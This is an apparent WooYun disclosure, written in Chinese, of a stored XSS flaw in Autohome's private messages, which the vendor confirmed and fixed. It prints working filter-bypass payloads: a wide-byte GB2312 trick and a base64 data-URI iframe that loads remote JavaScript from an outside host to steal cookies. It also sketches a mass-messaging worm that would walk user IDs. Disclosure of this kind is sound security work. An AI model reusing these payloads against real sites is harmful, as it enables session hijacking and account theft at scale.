[公开漏洞]汽车之家存储型xss可大规模获取任何用户cookie

来源:WooYun 浏览:686次 时间:2014-07-16
做网站找雨过天晴工作室
汽车之家存储型xss可大规模获取任何用户cookie 相关厂商: 汽车之家 漏洞作者:menmen519 提交时间:2014-06-15 13:39 修复时间:2014-07-15 14:12 漏洞类型:xss跨站脚本攻击 危害等级:高 自评Rank:20 漏洞状态: 厂商已经修复 漏洞来源:http://www.wooyun.org Tags标签: 持久型xss 存储型xss xss利用技巧 xss黑盒测试技巧 xss技巧 漏洞详情 披露状态:

2014-06-15:细节已通知厂商并且等待厂商处理中
2014-06-16:厂商已经确认,细节仅向厂商公开
2014-06-26:细节向核心白帽子及相关领域专家公开
2014-07-06:细节向普通白帽子公开
2014-07-15:厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

汽车之家存储型xss 可大规模获取任何用户cookie

详细说明:

晚上没事干,由于喜欢车,所以来到汽车之家转了转,登陆用户后,里面有个私信的机制:

1.png





大家可以看到,这里理论上是不允许插入dom节点的,我们进行了小测试,当我问输入标签时候,

1.<img> 这里会做一个转换,然后在输出的时候做了html编码处理

2.由于我们看到页面的编码为<head id="Head1"><meta http-equiv="Content-Type" content="text/html; charset=gb2312" />,所以我们就大胆的试了试对<>进行宽字节处理

,转换为%df%3cimg%df%3e,神奇的事情出现了,我们在查看dom树的时候发现居然生成了一个<img>节点

3.可是好景不长,当我们构造完整的语句时候,例如%df%3cimg%20src=1%20onerror=alert(1)%df%3e时候,极其失望的时候这里面凡是以on开头的标签属性全部统统给转义为XSS_error,这个跟通用骑士cms有些像

4.那我们是否可以不用标签动作呢,我接下来尝试了script,iframe等等标签,失败的是也被转移了

5,接着我就再试了试,src 上面的javascript还是被转移了

6,如果我们src上面不用javascript那么经过测试完全可以输入进去,在我们不断的尝试过程中,我们可以采用base64的结构进行构造

%df%3ciframe/**/src='data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL2prZ2gwMDYuYnlldGhvc3QxNy5jb20vdF94LmpzID48L3NjcmlwdD4='%df%3e%df%3c/iframe%df%3e,失望的是前面都测试过了,iframe清楚了,如图所示:

2.png



可以看到PrivateLetterContent里面就是我们将要插入页面的内容,这里被剔除了

7,让我神奇的在里面加入一个特殊字符的时候,iframe标签,构造如下:



%df%3ciframe/**/src='data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovL2prZ2gwMDYuYnlldGhvc3QxNy5jb20vdF94LmpzID48L3NjcmlwdD4='/*&*/%df%3e%df%3c/iframe%df%3e



神奇的出现了,如图所示:

3.png





8.我们去页面看看我们提前加载的远程js是否被执行了:

4.png





效果跟我们的预期一样,然后我们到收私信的人那边也看看,这个东西是否能执行,果不其然



9,在汽车之家里面,自己的主页可以进行设置,只允许好友之间发私信,

5.png



url里面八位数的东西,我们可以后台写一个脚本,遍历群发给所有的车友,危害非常大,指哪打哪



10,总结,这里我写好了攻击脚本,但是由于之前测试插入的节点破坏了私信的删除功能,很郁闷,没有敢大规模群发

漏洞证明:

修复方案:

你们很专业,很懂

版权声明:转载请注明来源 menmen519@乌云

漏洞回应 厂商回应:

危害等级:高

漏洞Rank:10

确认时间:2014-06-16 10:00

厂商回复:

正在处理,感谢对汽车之家的支持。

最新状态:

2014-07-15:已经修复,感谢对汽车之家的支持。